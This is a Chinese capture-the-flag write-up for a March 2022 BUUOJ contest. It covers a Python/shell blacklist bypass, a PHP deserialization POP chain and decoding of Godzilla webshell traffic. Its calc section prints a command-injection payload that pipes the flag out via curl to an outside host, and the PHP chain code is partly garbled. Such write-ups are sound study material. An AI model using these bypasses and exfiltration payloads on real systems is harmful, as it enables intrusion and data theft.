WriteUP
此博客为比赛时协作文档的整理,包括后期复现的一些修改,感谢一起打比赛的小伙伴们
比赛地址
https://buuoj.cn/match/matches/89
起止时间
2022 年 3 月 26 日 10:00 – 2022 年 3 月 26 日 18:00
WEB
calc
题目主要绕过 blacklist,执行 python 命令,提取 flag
之类的都被过滤了,没有可用的文件读取手段()&
已知可执行指令 exec,但过滤了 (),可以直接
,但是过滤了空格exec '指定语句'
最后发现可以访问外网,可以通过反引号绕过检测,并且通过 #允许
执行eval()
123#
ls
然后可以使用 curl 把 flag 带出来
http://uuid4.node4.buuoj.cn:81/calc?num=1%23
curl%09http://api.hz2016.com/?flag=\
cat%09Th1s*“
这里 MTGG 补充了个很重要的信息,关于 #注释的运用
Unix
如果 #号和字符紧贴着的话会被视为字符而不是注释符,加上反斜杠可以把 #号转义为普通字符
Python
无论紧贴与否都视为注释,无法用反斜杠转义
所以很快想到了 Payload
1#`rce`
另外一点
之后考虑外带,空格可以用 %09 绕过,反引号可以嵌套使用,记得加上转义
ezpop
a = new fin(); } } class mix{ public $m1; public function __construct(){ $this->m1 = "?>m1); } } class fin{ public $f1;//这里其实好像少了点什么 public function __construct(){ $this->f1 = array(new mix(), 'get_flag'); } } $a = new fin(); $a->f1 = new what(); echo urlencode(serialize($a));
当前目录有个 flag.php。但是是假的
可以读取到根目录下有个 flag.sh
但是用 SplFileObject 只能读出一行来,应该是来执行的
好可爱的一道题,终于有简简单单的 pop 链了
fin->(调用destruct)->what->(调用tostring)->fin->(调用run)->crow->(调用invoke)->fin->(调用call)->mix->(getflag)
绕过井号:利用?>`
进行绕过标签绕过,也可以添加换行符
`\n
去以后ls可以看到很多文件,本来想要去搞那个flag.sh,但是觉得可能是出题用的,所以cat / 然后看到了一个congratulations,是H0mvz850F.php文件,里面有注释掉的flag(所以直接cat / 会被解析看不到)
MISC
月圆之夜

B站有一个月圆之夜的文字解码,是希腊语,英文语法
我破译了神级彩蛋!这款游戏竟然藏了这么多剧情?《月圆之夜》究竟讲了什么故事?

翻译后:
DASCTFWELCOMETOTHEFULLMOONNIGHT
FLAG格式:大写{小写}
Au5t1n的秘密
一开始在扫描端口,扫了很久,在找管理页面:adm.jsp、Admin之类的
扫了个 robots.txt 出来

扫完又开扫 /e/
路由
/e/admin/
是存在的,No.6244 可以关注一下
过滤器 http.response.code == 200
http.response.code == 302
都可以关注一下
扫描的是一个 CMS

最后发现是应该只筛选http
中间发现有上传后门

base64解密

得到payload生成方式
发现是哥斯拉的马,采用的加密方式是异或,这里上传的是didi.php,因此在http处导出didi。
关在在于最后执行了一个gzencode($result,6),因此在后面的恢复过程中必须加上这个。否则后面一大串都是乱码。
然后flag是在第2079的流里
偷mumuzi大哥一个代码